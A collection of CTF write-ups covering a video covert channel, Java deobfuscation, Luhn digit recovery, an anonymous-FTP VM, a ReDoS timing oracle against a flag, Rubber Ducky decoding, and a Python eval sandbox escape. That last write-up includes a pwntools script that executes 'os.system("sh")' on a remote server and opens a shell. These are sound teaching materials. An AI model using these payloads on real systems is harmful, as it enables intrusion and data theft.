Turns out that is exactly what happens, and this challenge is all about carefulimplementation. The high-level approach we will take is as follows: * Write a program that lets the user select a pixel on the video. * Keep track of the brightness of that pixel for each frame. * Hope that changes in the brightness level leak data.
Just by looking at the brightness level of some pixel, you'll see that italternates around two values — these represent binary zeroes and ones. Tofigure out the throughput of leaked bits, we will try to approximate theshortest amount of time one of those values is achieved. It turns out thisvalue is roughly $30$ frames, and since the video is shot at $30$ FPS, thiswould indicate that one bit gets leaked every second.
Armed with this knowledge, we can easily devise the following strategy: * We will keep track of the brightness level of a particular bit across all frames. * At each frame, we will attempt to classify the brightness level into a $0$ bit or a $1$ bit. * The length of each consecutive interval of same-valued bits should roughly be a multiple of the frame rate, and we should be able to deduce the actual number of same-valued bits being leaked.
This simple strategy is good enough to determine the leaked bits. Some details thatmight help increase precision are: * Ignore obvious outliers in brightness values. * When unsure how to classify a bit (e.g. it is somewhere between values for zero and one), classify it as the last bit you were confident about. * Do the same thing for multiple bits, consider the majority value as correct classification.
Here is one ugly and barely-readable such implementation:
```pythonimport cv2import numpy as npimport matplotlib.pyplot as plt
from Crypto.Util.number import long_to_bytes
zero_b = 0one_b = 0
zs = []os = []
def bit(b_level): global zero_b, one_b, zs, os if one_b == 0: if b_level >= zero_b + 3: one_b = b_level return 1 else: return 0
if (b_level - zero_b) / (one_b - zero_b) <= 0.35: zs.append(b_level) zero_b = min(zero_b, b_level) return 0
if (b_level - zero_b) / (one_b - zero_b) >= 0.65: os.append(b_level) one_b = max(one_b, b_level) return 1
return None
cap = cv2.VideoCapture('video.mp4')
clicked = Falsedef get_pixel(event, x, y, flags, param): global clicked, pixel_x, pixel_y if event == cv2.EVENT_LBUTTONDOWN: pixel_x, pixel_y = x, y clicked = True
cv2.namedWindow('frame')cv2.setMouseCallback('frame', get_pixel)
while not clicked: ret, frame = cap.read() if not ret: break cv2.imshow('frame', frame) if cv2.waitKey(1) == ord('q'): break
frame_count = 0
start = Falsedata = ""b_data = b""
bs = []curr = 0cnt = 0
while cap.isOpened(): ret, frame = cap.read() if not ret: break
frame_count += 1
if len(data) >= 8: b_data += long_to_bytes(int(data[:8], 2)) data = data[8:] print(b_data)
if zero_b != 0 and one_b != 0: brightness = frame[pixel_y, pixel_x].mean() b = bit(brightness) if b == curr or b == None: cnt += 1 else: for _ in range(round(cnt / 31.5)): data += str(curr) cnt = 1 if b != None: curr = b continue
brightness = frame[pixel_y, pixel_x].mean() bs.append(brightness)
if frame_count % ((cap.get(cv2.CAP_PROP_FPS) + 1) // 1) == 0: bs.sort() brightness = bs[len(bs) // 2] bs = [] if zero_b == 0: zero_b = brightness b = bit(brightness)
if not start and b == 1: data = "0" start = True if start: data += str(b)
while len(data) >= 8: b_data += long_to_bytes(int(data[:8], 2)) data = data[8:] print(b_data)
cap.release()cv2.destroyAllWindows()```
Tracking pixel $(1133, 499)$ leaks the following data:
```b'Exfiltrating contents of current directory...\n\nDumping ./workspace/flag1.txt...\n\nTBTL{5an1t7y_ch3ck_pa55ed!_D0_y0u_h4v3_wh47_1t_74k35_f0r_p4r7_2?}\n\nDumping ./workspace/flag2.zip...\n\nPK\x03\x04\n\x00\t\x00\x00\x00\xbcb\xa3V9gW\xa7*\x00\x00\x00\x1e\x00\x00\x00\x08\x00\x1c\x00flag.txt\xd5T\t\x00\x03\xc35Rd\xaf5Rdux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xe0\xf7\x02\xf6\xbbX\xadI.2\x0b\xb2y;G\xa9\xf4+\xe2\xde\x87^\xb9\xbd\xabU\xfb\xa2i\xcf\x1d\xbccv\x88\x04\x14\xe7z\x8a!\x8dPK\x07\x089gW\xa7*\x00\x00\x00\x1e\x00\x00\x00PK\x01\x02\x1e\x03\n\x00\t\x00\x00\x00\xbcb\xa3V9gW\xa7*\x00\x00\x00\x1e\x00\x00\x00\x08\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xa4\x81\x00\x00\x00\x00flag.txtUP\x05\x00\x03\xc35Rdux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00N\x00\x00\x00|\x00\x00\x00\x00\x00'```
The first flag is immediately visible:`TBTL{5an1t7y_ch3ck_pa55ed!_D0_y0u_h4v3_wh47_1t_74k35_f0r_p4r7_2?}`, and letsteams score points with less precise algorithms.
The second flag seems to be a `.zip` archive, but we need a password to extractit. The password is written on a post-it note in the video — `TBTLPWD123`.
The extracted file `flag.txt` contains the second flag:`TBTL{1_don7_m1nd_7h3_41r_g4p}`.
**Fun fact:** The challenge author got excited about turning this into alegitimate method for data exfiltration from air-gapped machines, but it turnsout this [has already been done](https://arxiv.org/pdf/2002.01078.pdf). |
# UMass 2023 - java\_jitters
## Description
> _sips coffee_ o vault of secrets, teller of wisdom and UMastery, tell me the secret phrase and I shall share my wisdom>> **File**: [javajitters.jar](https://files.ivyfanchiang.ca/\_umassctf\_java/javajitters.jar)
The program provided is run in the command line and asks the user to supply a password as an argument, if the password is correct, the program prints out the flag.
## Unpacking the JAR
This is pretty simple, JAR files are just fancy ZIP files with a set directory structure so once you unzip it you get this:

The first thing that you should look at is the `META-INF/MANIFEST.MF` file which defines what class is run by Java when executing the JAR:
```iniManifest-Version: 1.0Main-Class: edu.umass.javajitters.Main```
This tells us to look at the `main` function within the `Main` class in `edu/umass/javajitters`
## Decompiling the `Main` class
It turns out that the Java code for this application has been obfuscated using [Skidfuscator](https://skidfuscator.dev/), so most Java decompilers fail to decompile the `main` function within this class. For example, the version of Fernflower packaged with IntelliJ decompiled every other function but did this on the `main` function:
```javapublic static void main(String[] var0) throws NoSuchAlgorithmException { // $FF: Couldn't be decompiled }```
This isn't great as reading through the Java bytecode, you can tell most of the program logic falls within this `main` function. All is not lost though, after trying many other decompilers like Procyon, CFR, and JADX, I found that the version of Fernflower packaged with [Recaf](https://www.coley.software/Recaf/) gives us enough code for us to figure out the rest (which is interesting since JetBrains is the creator of Fernflower so you would think the IntelliJ version is the best/latest version). The [code Recaf gave us](https://files.ivyfanchiang.ca/\_umassctf\_java/Main1.recaf\_fernflower.java) isn't perfect and failed to run no matter how many tweaks I made but we can still figure out the code's logic from it.
I also decompiled [`skid/Factory.class`](https://files.ivyfanchiang.ca/\_umassctf\_java/Factory1.java) and [`skid/nerzotvnwdsdpsre.class`](https://files.ivyfanchiang.ca/\_umassctf\_java/nerzotvnwdsdpsre.java) using IntelliJ's version of Fernflower. (Turns out these two classes and everything under `skid/` is Skidfuscator's helper classes)
## Refactoring the code for my sanity
After painstakingly reading through the whole code, I made a [refactored/annotated version of the source code](https://files.ivyfanchiang.ca/\_umassctf\_java/Main1\_annotated.java).
The first problem when refactoring is that a lot of the Java bytecode uses the [`invokedynamic`](https://en.wikipedia.org/wiki/List\_of\_Java\_bytecode\_instructions) instruction for many function calls which Fernflower hates, decompiling the instruction to something like this:
```javavar175 = var173.opotarbpahmyugec<invokedynamic>(var173, var174);```
You can sometimes guess what function is being used based on the context and datatypes of the variables but you can look at the bytecode (using IntelliJ or Recaf) to find what function is being called:
```javaALOAD 173ILOAD 174INVOKEDYNAMIC opotarbpahmyugec(Ljava/lang/Object;I)C [ // handle kind 0x6 : INVOKESTATICskid/Ref.dispatch(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; // arguments: 182, "java.lang.StringBuilder", "charAt", "(I)C"]ISTORE 175```
This can by translated by hand into this: (After consulting Java docs to figure out how StringBuilder worked)
```javavar175 = var173.charAt(var174);```
After tediously doing this for every one of the 66 `invokedynamic` calls you get proper Java code!!!
I also renamed the `0o$Oo$K`, `K0o$KOo$KK`, and `Oo0o$OoOo$OoK` functions into `crypto_func1`, `crypto_func2`, and `xor` respectively.
## Tracing `crypto_func1` and `crypto_func2`
I looked at `crypto_func1` first after realizing it was called very early on in the `main` function. From reading the code and running through it line by line in JShell with the args `crypto_func1("password", 58777307);` (`password` was just a test, `58777307` was a constant from how it was called in `main`), I figured out that the function would SHA-256 hash whatever string was passed to it and then call `crypto_func2`. There is one common code pattern to look at here:
```javaStringBuilder var12 = new StringBuilder("\uB236\u8436\u9636\u4E36\u7036\u7E36\u7836");int var13 = 0;int var14 = 0;
for (var9 = 0 ^ var9; var13 < var12.length(); var13 += 1974077748 ^ var9) { var14 = var12.codePointAt(var13); var14 = ((var14 & (1974138570 ^ var9)) >> (1974077756 ^ var9) | var14 << (1974077746 ^ var9)) & (1974138570 ^ var9); var14 ^= 1974076994 ^ var9; var14 ^= 1974140119 ^ var9; var14 ^= 1974134954 ^ var9; var12.setCharAt(var13, (char) var14);}
String var2 = var12.toString();```
A similar code block to this with different variables pops up once within `crypto_func1` and very often in `main`. Running through it line by line, you will see that it initializes a `StringBuilder` object with ciphertext, does some sort of decryption character by character with `var9` being used as a key, and then converts the decrypted `StringBuilder` to a `String`. This is Skidfuscator's string encryption obfuscation, which we can bypass by keeping track of the key variable's value as the program runs.
Tracing through `crypto_func2` in a similar manner, you will find that it just takes the hash that `crypto_func1` generated in `byte[]` form and converts it to a hexadecimal string.
One thing to note is that as another obfuscation method, you won't find `return` statements within these two functions. Instead, you will find [`nerzotvnwdsdpsre`](https://files.ivyfanchiang.ca/\_umassctf\_java/nerzotvnwdsdpsre.java) exceptions being thrown. This is a custom exception created by the obfuscator that looks like this:
```javapublic class nerzotvnwdsdpsre extends RuntimeException { private String var;
public nerzotvnwdsdpsre(String var1) { this.var = var1; }
public String get() { return this.var; }}```
This exception gets used like this to simulate `return` statements:
```javatry { while (true) { crypto_func2(var5, 503562056); }} catch (nerzotvnwdsdpsre var17) { String var6 = var17.get(); // returned value from crypto_func2 throw new nerzotvnwdsdpsre(var6); // throwing new exception for crypto_func1's return}```
([JShell](https://docs.oracle.com/javase/9/jshell/introduction-jshell.htm#JSHEL-GUID-630F27C8-1195-4989-9F6B-2C51D46F52C8) for the uninitiated, is Java's secret REPL shell which allows you to test Java code in an interpreter like Python's interpreter)
## Analyzing `main`
With those two functions out of the way, let's start analyzing the main program code. First we have to find the key, which I've called `int1`:
```javaint int1 = 1800875868 ^ 2076430062 ^ gjMAozlvk2;int1 = 841098174 ^ int1;```
This key is initialized with a seeded random number generator:
```javaint var3 = (new Random(-8261172285046822504L)).nextInt(); // = -535977286gjMAozlvk2 = -266593489 ^ var3; // = 269597077```
This means our key starts with the value `849836953`.
The program starts by checking that a password is supplied, then over a series of calculations (traced through JShell), the key changes to `2024113895`. Throughout these calculations, functions in the `Factory` helper class are called which appear to be a checksum function to make sure that the key is correct throughout the program's execution. The program then calls `crypto_func1(str2, 58777307)` to SHA-256 hash our password.
The rest of the program is a series of nested if-else blocks which do the following:
1. Performs a XOR calculation against some integer literal to calculate a new key2. Decrypts some ciphertext to a known SHA-256 hash (using the method outlined above)3. Compares that hash against the user's password hash4. If the hashes match: 1. Performs a XOR calculation against some integer literal to calculate a new key again 2. Decrypts a message to output to the user (using the method outlined above) 3. Prints out the message 4. Exits the program5. If the hashes don't match, do more XOR calculations and `Factory` checksums to change up the key and repeat
There are many known passwords, as some output easter egg messages like `Congratulations, you've unlocked the secret to a perfect cup of Java!`. If none of the passwords match, the last else block prints a password not found message.
Tracing the program in JShell, halfway into the code we get to a block where the key is `1140202191`and has a SHA-256 hash of `8900fbb69012f45062aa6802718ad464eaea0854b66fe8916b3b38e775c296a8`.
```javaStringBuilder var168 = new StringBuilder("\uA849\uB849\u2849\u2849\u884C\u484C\u484C\u8849\uB849\u2849\u3849\u4849\u884C\u6849\u7849\u2849\u8849\u4849\u384C\u384C\u8849\uA849\u2849\u4849\u9849\u3849\uA849\u384C\u684C\u6849\u8849\u6849\u784C\u384C\u784C\u384C\u2849\uA849\u7849\u6849\u484C\u8849\u8849\u884C\u784C\uA849\uB849\u3849\u8849\u484C\u5849\u484C\u5849\uA849\u784C\u9849\u9849\u7849\u584C\u4849\uB849\u8849\u384C\uA849");int var169 = 0;int var170 = 0;
for (int1 = 0 ^ int1; var169 < var168.length(); var169 += 1140202190 ^ int1) { var170 = var168.charAt(var169); var170 += 1140203535 ^ int1; var170 = ((var170 & (1140254000 ^ int1)) << (1140202186 ^ int1) | var170 >> (1140202180 ^ int1)) & (1140254000 ^ int1); var170 = ((var170 & (1140254000 ^ int1)) << (1140202176 ^ int1) | var170 >> (1140202190 ^ int1)) & (1140254000 ^ int1); var170 -= 1140197327 ^ int1; var170 -= 1140197801 ^ int1; var168.setCharAt(var169, (char) var170);}
String var46 = var168.toString(); // 8900fbb69012f45062aa6802718ad464eaea0854b66fe8916b3b38e775c296a8byte var14 = (byte) (var6.equals(var46) ? 1 : 0); // var6.equals(var46);if (var14 != (1140202191 ^ int1)) { int1 = 850230892 ^ int1; // 1901814947 PrintStream var15 = System.out; StringBuilder var188 = new StringBuilder("\u1b2a\u1bea\u1b8a\u9b0a\u9b0a\u9a4a\u9b8a\u580a\udaaa\udaaa\u980a\u980a\u9b6a\u1aea\u5b8a\u9aca\u980a\u9a0a\u9b6a\u1aea\u980a\u9b6a\udbca\u5b8a\uda2a\u5b8a\u9b6a\u9a8a\uda0a\u1a8a\uda4a\u1a4a\u1a6a"); int var189 = 0; int var190 = 0;
for (int1 = 0 ^ int1; var189 < var188.length(); var189 += 1901814946 ^ int1) { var190 = var188.charAt(var189); var190 = ((var190 & (1901828956 ^ int1)) << (1901814952 ^ int1) | var190 >> (1901814950 ^ int1)) & (1901828956 ^ int1); var190 ^= 1901840784 ^ int1; var190 = ((var190 & (1901828956 ^ int1)) >> (1901814959 ^ int1) | var190 << (1901814951 ^ int1)) & (1901828956 ^ int1); var190 = (var190 ^ -1901814948 ^ int1) & ((1901814946 ^ int1) << (1901814963 ^ int1)) - (1901814946 ^ int1); var190 ^= ((var190 >> (1901814952 ^ int1) ^ var190 >> (1901814947 ^ int1)) & ((1901814946 ^ int1) << (1901814951 ^ int1)) - (1901814946 ^ int1)) << (1901814952 ^ int1) | ((var190 >> (1901814952 ^ int1) ^ var190 >> (1901814947 ^ int1)) & ((1901814946 ^ int1) << (1901814951 ^ int1)) - (1901814946 ^ int1)) << (1901814947 ^ int1); var190 = ((var190 & (1901828956 ^ int1)) >> (1901814945 ^ int1) | var190 << (1901814957 ^ int1)) & (1901828956 ^ int1); var188.setCharAt(var189, (char) var190); }
String var47 = var188.toString(); println15(var15, var47, 862983464); int1 = 1019968462 ^ int1;
try { if (Factory.method1(int1) != 105345395) { // int1.mcaysezmbpdkwegq<invokedynamic>(int1) throw null; }
throw new IllegalAccessException(); } catch (IllegalAccessException var221) { switch (Factory.method2(int1)) { case 1603759402: int1 = xor(int1, 1207713573); // int1.mnumuswfopdwpjwp<invokedynamic>(int1, 1207713573); break; case 1820392298: int1 = 1100926445 ^ int1; break; default: throw new RuntimeException("Error in hash"); } }
while (true) { switch (Factory.method1(int1)) { case 37686904: default: throw new RuntimeException(); case 123517910: int1 = 982632165 ^ int1; return; case 691634510: break; case 1995906324: return; } }} else { ...```
Decrypting the message of this block, we get our flag: `UMASS{C0ff33_m@k3s_m3_J@v@_crazy}`
All the source code that was relevant for both java\_jitters and java\_jitters\_v2 in decompiled and annotated/refactored forms can be found [here](https://files.ivyfanchiang.ca/\_umassctf\_java/), the writeup for this problem's sequel `java_jitters_2` can be found [here](umass-2023-java\_jitters\_2.md) |
## Lost Card
Here we got an image with numbers inside.

First we put the image in the right position with Gimp, so we can read the numbers correctly.Now we got : 538xx10365956729 with xx the two numbers that we must find.
Knowing it's a credit card number, the two lost digits can be found using the Luhn algorithm. We used [dcode](https://www.dcode.fr/luhn-algorithm) to found the missing digits and it gave us this list : ```5380010365956729538191036595672953824103659567295383810365956729538431036595672953857103659567295386210365956729538761036595672953881103659567295389510365956729```
The challenge answer is the 2rd number coming from the bottom :
GREP{5388110365956729} |
# MI6Configuration
Description :
```textWe recently acquired a computer at MI6 and it seems like they might have made some mistakes. Can you hack it using their misconfigurations and get all their important data? (Download the VM file and power it on. Find the IP address and start hacking!)
*Note - there are 3 flags, flag2 does not exist*
https://byu.app.box.com/s/kqlgq3h7t43jqm7k0q124a1eivkonqln```
Lets do some pentesting here..
Imported the MI6.ova file in virtualbox and installed it successfully, then booted it up. The boot screen password was The first name of James Bond character Q. So, the password was `major` to complete the boot only this was not the actual login password for the machine.
The MI6 machine looks like this after booting.

+ Did a quick nmap scan from my parrot machine on mi6 machine.
```sh┌─[attacker@parrot]─[~]└──╼ $nmap -Pn -sV 192.168.0.133Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-24 18:31 ISTNmap scan report for 192.168.0.133Host is up (0.00098s latency).Not shown: 729 filtered tcp ports (no-response), 269 closed tcp ports (conn-refused)PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 3.0.322/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 4.28 seconds```
Tried with default NSE script on the target.
```sh┌─[attacker@parrot]─[~]└──╼ $nmap -Pn -sC 192.168.0.133Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-24 18:33 ISTNmap scan report for 192.168.0.133Host is up (0.00057s latency).Not shown: 729 filtered tcp ports (no-response), 269 closed tcp ports (conn-refused)PORT STATE SERVICE21/tcp open ftp| ftp-anon: Anonymous FTP login allowed (FTP code 230)| -r--r--r-- 1 33 0 22 Apr 17 22:01 flag1.txt|_-r--r--r-- 1 1002 0 29 Apr 17 15:40 not_my_passwords.txt| ftp-syst: | STAT: | FTP server status:| Connected to ::ffff:192.168.0.110| Logged in as ftp| TYPE: ASCII| No session bandwidth limit| Session timeout in seconds is 300| Control connection is plain text| Data connections will be plain text| At session startup, client count was 3| vsFTPd 3.0.3 - secure, fast, stable|_End of status22/tcp open ssh| ssh-hostkey: | 2048 c5849242153793582b2cc8f5d9eed24c (RSA)| 256 bedc4b8fcfd3c50281bab7791f2b9afa (ECDSA)|_ 256 7b1fecd2c294bf1b1984f322005cde02 (ED25519)
Nmap done: 1 IP address (1 host up) scanned in 13.41 seconds```
Cool, there was an `anonymous` login available to the ftp service and two files were available to read.
```sh┌─[attacket@parrot]─[~]└──╼ $ftp 192.168.0.133Connected to 192.168.0.133.220 (vsFTPd 3.0.3)Name (192.168.0.133:attacker): anonymous331 Please specify the password.Password:230 Login successful.Remote system type is UNIX.Using binary mode to transfer files.ftp> ls200 PORT command successful. Consider using PASV.150 Here comes the directory listing.-r--r--r-- 1 33 0 22 Apr 17 22:01 flag1.txt-r--r--r-- 1 1002 0 29 Apr 17 15:40 not_my_passwords.txt226 Directory send OK.ftp> get flag1.txtlocal: flag1.txt remote: flag1.txt200 PORT command successful. Consider using PASV.150 Opening BINARY mode data connection for flag1.txt (22 bytes).226 Transfer complete.22 bytes received in 0.06 secs (0.3379 kB/s)ftp> get not_my_passwords.txtlocal: not_my_passwords.txt remote: not_my_passwords.txt200 PORT command successful. Consider using PASV.150 Opening BINARY mode data connection for not_my_passwords.txt (29 bytes).226 Transfer complete.29 bytes received in 0.02 secs (1.2592 kB/s)ftp> 221 Goodbye.┌─[attacker@parrot]─[~]└──╼ $cat flag1.txt byuctf{anonymous_ftp}┌─[attacker@parrot]─[~]└──╼ $cat not_my_passwords.txt james_bond:imthebestAgent007```
> `Flag 1 : byuctf{anonymous_ftp}`
# [Original Writeup](https://themj0ln1r.github.io/posts/byuctf23) |
# Midnight Sun CTF 2023## Matchmaker
### Solution
Opening the challenge website shows the PHP code behind it. The code indicated that a RegEx pattern can be given to the server by a GET parameter `x`. If `x` is set in the request, the PHP code will look for RegEx matches in the flag using the pattern set in `x`. It measures the time the matching takes and displays it at the bottom of the page.

I searched for possible attacks using RegEx that could give me some information and found an article about [Regular expression Denial of Service](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS). Basically, there are some patterns that take slightly longer to execute than simpler patterns. I tried using `(((((.*)*)*)*)*)*)*` and it worked. Not too precisely - there was a lot of variance, so I wrote a script that sent requests to the server a couple times and averaged the "Exec Time".
Next, I needed to use that technique to gather information about the flag. I decided to make a pattern such that if it will execute the DoS part of the pattern if and only if it matches the beginning of the flag. The pattern that worked that way was:`(midnight\{(((((.*)*)*)*)*)*)*`.
Now, I could add one more character to the flag and see if the average "Exec Time" over 5 tries is longer than if I added a different character - i.e.:
- `(midnight\{a(((((.*)*)*)*)*)*)*`- `(midnight\{b(((((.*)*)*)*)*)*)*`- `(midnight\{d(((((.*)*)*)*)*)*)*`- ...- `(midnight\{q(((((.*)*)*)*)*)*)*`- `(midnight\{r(((((.*)*)*)*)*)*)*`- ...
In this case, with added `r`, the "Exec Time" was reliably longer than for other characters. Other characters had a shorter "Exec Time" because the pattern didn't match before getting to the DoS part.
I ran this process automatically in Python, trying all characters in `string.printable` except whitespace, at each step adding the letter that had the longest "Exec Time" until I got the entire flag.
The server died a couple times during the challenge with too many tiny DoS patterns, meant to cause tiny delays, in requests from many contestants, compounding to DDoSing the server. |
# Ducky 1
Description :
```textI recently got ahold of a Rubber Ducky, and have started automating ALL of my work tasks with it! You should check it out!
Attached file : [inject.bin]```
A quick google search for **rubber ducky file bin analysis** takes to this github repo Duck-Decoder
```shmj0ln1r@Linux:/duck1$ python DuckDecoder.py decode inject.binbyuctf{this_was_just_an_intro_alright??}```
> `Flag : byuctf{this_was_just_an_intro_alright??}`
# [Original Writeup](https://themj0ln1r.github.io/posts/byuctf23) |
There's a secret in the default namespace, which you can list then get with `kubectl get secret -o yaml`.
After base64 decoding it, you get `punk_{Q53O2RDC1W7VTIWY}` |
# Math is Hard -- Solution
In this easy challenge, you get to interact with a simple calculator based on the Python's `eval` command.
```pythondef check_expression(s): """Allow only digits, decimal point, lowecase letters and math symbols.""" SYMBOLS = ".+*-/()" for c in s: if not c.islower() and not c.isdigit() and c not in SYMBOLS: return False return True
def loop(): """Main calculator loop.""" vars = { c : 0 for c in ascii_lowercase } while True: line = input("$ ") if not line: print("Bye!") return items = line.split("=") if len(items) != 2: print("Invalid syntax!") continue varname, expression = items varname = varname.strip() expression = expression.strip() if len(varname) != 1 or not varname.islower(): print("Invalid variable name!") continue if not check_expression(expression): print("Invalid character in expression!") continue result = eval(expression, vars, {'sin': sin, 'cos': cos, 'sqrt': sqrt, 'exp': exp, 'log': log, 'pi': pi}) vars[varname] = result print(">>> {} = {}".format(varname, result))```
There is some attempt to sandbox the calculator by restricting the syntax of expressions, but quick local experiment reveals that we can call the Python's built in `exec` function.
```$ python3 calc.py PwnCalc -- a simple calculator$ a=4>>> a = 4$ a = 4>>> a = 4$ b = 3>>> b = 3$ c = sqrt(a*a+b*b)>>> c = 5.0$ d = sin(pi/4)>>> d = 0.7071067811865475Have fun!
$ a = exec(0)Traceback (most recent call last): File "calc.py", line 56, in <module> loop() File "calc.py", line 49, in loop result = eval(expression, vars, {'sin': sin, 'cos': cos, 'sqrt': sqrt, 'exp': exp, 'log': log, 'pi': pi}) File "<string>", line 1, in <module>TypeError: exec() arg 1 must be a string, bytes or code object```
To succesfully exploit the calculator, we build a command string using the built in `chr` function and pass it to the `exec` command.
```python#!/usr/bin/env python3
from pwn import *
def conn(): context.update(arch='amd64', os='linux', terminal=['tmux', 'new-window']) if args.REMOTE: p = remote('0.cloud.chals.io', 19815) else: p = process(['python3', 'calc.py']) return p
def run_remotely(cmd): payload = '+'.join('chr({})'.format(x) for x in cmd) payload = 'a = exec({})'.format(payload) p = conn() p.recvuntil(b'Have fun!') p.sendlineafter(b'$ ', payload.encode()) p.interactive()
print(run_remotely(b'import os; os.system("sh")'))```
Now, we simply run the shell remotely and print out the flag.```$ python3 solve.py DEBUG REMOTE[+] Opening connection to 0.cloud.chals.io on port 19815: Done[DEBUG] Received 0xab bytes: b'PwnCalc -- a simple calculator\n' b'$ a=4\n' b'>>> a = 4\n' b'$ a = 4\n' b'>>> a = 4\n' b'$ b = 3\n' b'>>> b = 3\n' b'$ c = sqrt(a*a+b*b)\n' b'>>> c = 5.0\n' b'$ d = sin(pi/4)\n' b'>>> d = 0.7071067811865475\n' b'Have fun!\n' b'\n' b'$ '[DEBUG] Sent 0xec bytes: b'a = exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(32)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(115)+chr(104)+chr(34)+chr(41))\n'[*] Switching to interactive mode$ ls[DEBUG] Sent 0x3 bytes: b'ls\n'[DEBUG] Received 0x1a bytes: b'calc.py\n' b'flag.txt\n' b'serve.sh\n'calc.pyflag.txtserve.sh$ cat flag.txt[DEBUG] Sent 0xd bytes: b'cat flag.txt\n'[DEBUG] Received 0x24 bytes: b'TBTL{4Nd_54nd80x1n6_15_3v3n_h4rd3r}\n'TBTL{4Nd_54nd80x1n6_15_3v3n_h4rd3r}``` |
[https://meashiri.github.io/ctf-writeups/posts/202305-tjctf/#iheartrsa](https://meashiri.github.io/ctf-writeups/posts/202305-tjctf/#iheartrsa)
TLDR; Same message (hash of the flag text), different N, small e -> Håstad's broadcast attack using CRT. |
# ObfuscJStore
Description :
```textObfuscated JavaScript?? Really??
Attached file : [obfuscJStor.js]```
```jsfunction _0x12de(){var _0x6ab222=['\x2e\x69\x6f','\x75\x73\x63\x61\x74','\x37\x32\x4f\x4f\x6e\x7a\x73\x4d','\x61\x5f\x74\x6f\x6f','\x6c\x6f\x67','\x62\x79\x75\x63\x74','\x32\x30\x35\x38\x31\x31\x31\x56\x73\x4a\x6d\x4e\x74','\x64\x61\x79\x73\x5f','\x35\x62\x6b\x68\x53\x6b\x77','\x36\x32\x37\x38\x77\x53\x77\x45\x56\x49','\x31\x32\x35\x33\x31\x33\x30\x78\x4e\x74\x74\x57\x77','\x48\x6d\x6d\x6d\x6d','\x6c\x5f\x74\x6f\x5f','\x77\x68\x65\x72\x65','\x66\x6c\x61\x67\x20','\x34\x31\x30\x35\x39\x34\x34\x58\x71\x67\x53\x54\x64','\x31\x30\x69\x47\x78\x53\x78\x74','\x35\x33\x4d\x50\x56\x43\x43\x73','\x63\x61\x74\x6f\x72','\x6d\x61\x6b\x65\x5f','\x6f\x62\x66\x75\x73','\x32\x35\x34\x30\x30\x39\x74\x71\x59\x51\x79\x6b','\x35\x31\x30\x35\x30\x31\x46\x57\x64\x52\x56\x71','\x66\x7b\x6f\x6e\x65','\x64\x65\x6f\x62\x66','\x68\x65\x73\x65\x5f','\x5f\x6f\x66\x5f\x74','\x31\x37\x32\x36\x34\x35\x6f\x6b\x76\x58\x66\x70','\x69\x73\x3f','\x34\x6d\x6f\x71\x49\x6c\x56'];_0x12de=function(){return _0x6ab222;};return _0x12de();}(function(_0x2a4cef,_0x9e205){var _0x539a11=_0x2a7d,_0x40cc8a=_0x2a4cef();while(!![]){try{var _0x2d47a2=-parseInt(_0x539a11(0x1f1))/0x1*(-parseInt(_0x539a11(0x207))/0x2)+parseInt(_0x539a11(0x1f6))/0x3*(parseInt(_0x539a11(0x1fd))/0x4)+-parseInt(_0x539a11(0x206))/0x5*(-parseInt(_0x539a11(0x208))/0x6)+-parseInt(_0x539a11(0x1f5))/0x7*(parseInt(_0x539a11(0x200))/0x8)+parseInt(_0x539a11(0x204))/0x9*(-parseInt(_0x539a11(0x1f0))/0xa)+parseInt(_0x539a11(0x1fb))/0xb+parseInt(_0x539a11(0x1ef))/0xc;if(_0x2d47a2===_0x9e205)break;else _0x40cc8a['push'](_0x40cc8a['shift']());}catch(_0x4063a2){_0x40cc8a['push'](_0x40cc8a['shift']());}}}(_0x12de,0x54f50));function _0x2a7d(_0x339bb1,_0x1a0657){var _0x12def3=_0x12de();return _0x2a7d=function(_0x2a7d9a,_0x2b9202){_0x2a7d9a=_0x2a7d9a-0x1ee;var _0x34fb38=_0x12def3[_0x2a7d9a];return _0x34fb38;},_0x2a7d(_0x339bb1,_0x1a0657);}function hi(){var _0x398601=_0x2a7d;document['\x64\x6f\x6d\x61\x69'+'\x6e']==_0x398601(0x1f4)+_0x398601(0x1f2)+_0x398601(0x1fe)&&console[_0x398601(0x202)](_0x398601(0x203)+_0x398601(0x1f7)+_0x398601(0x1fa)+_0x398601(0x1f9)+_0x398601(0x205)+'\x69\x6d\x6d\x61\x5f'+_0x398601(0x1f3)+_0x398601(0x201)+_0x398601(0x20a)+_0x398601(0x1f8)+_0x398601(0x1ff)+'\x65\x5f\x74\x68\x69'+'\x73\x7d'),console['\x6c\x6f\x67'](_0x398601(0x209)+'\x20\x49\x20\x77\x6f'+'\x6e\x64\x65\x72\x20'+_0x398601(0x20b)+'\x20\x74\x68\x65\x20'+_0x398601(0x1ee)+_0x398601(0x1fc));}hi();```
Deobfuscated the code on deobfuscated.io
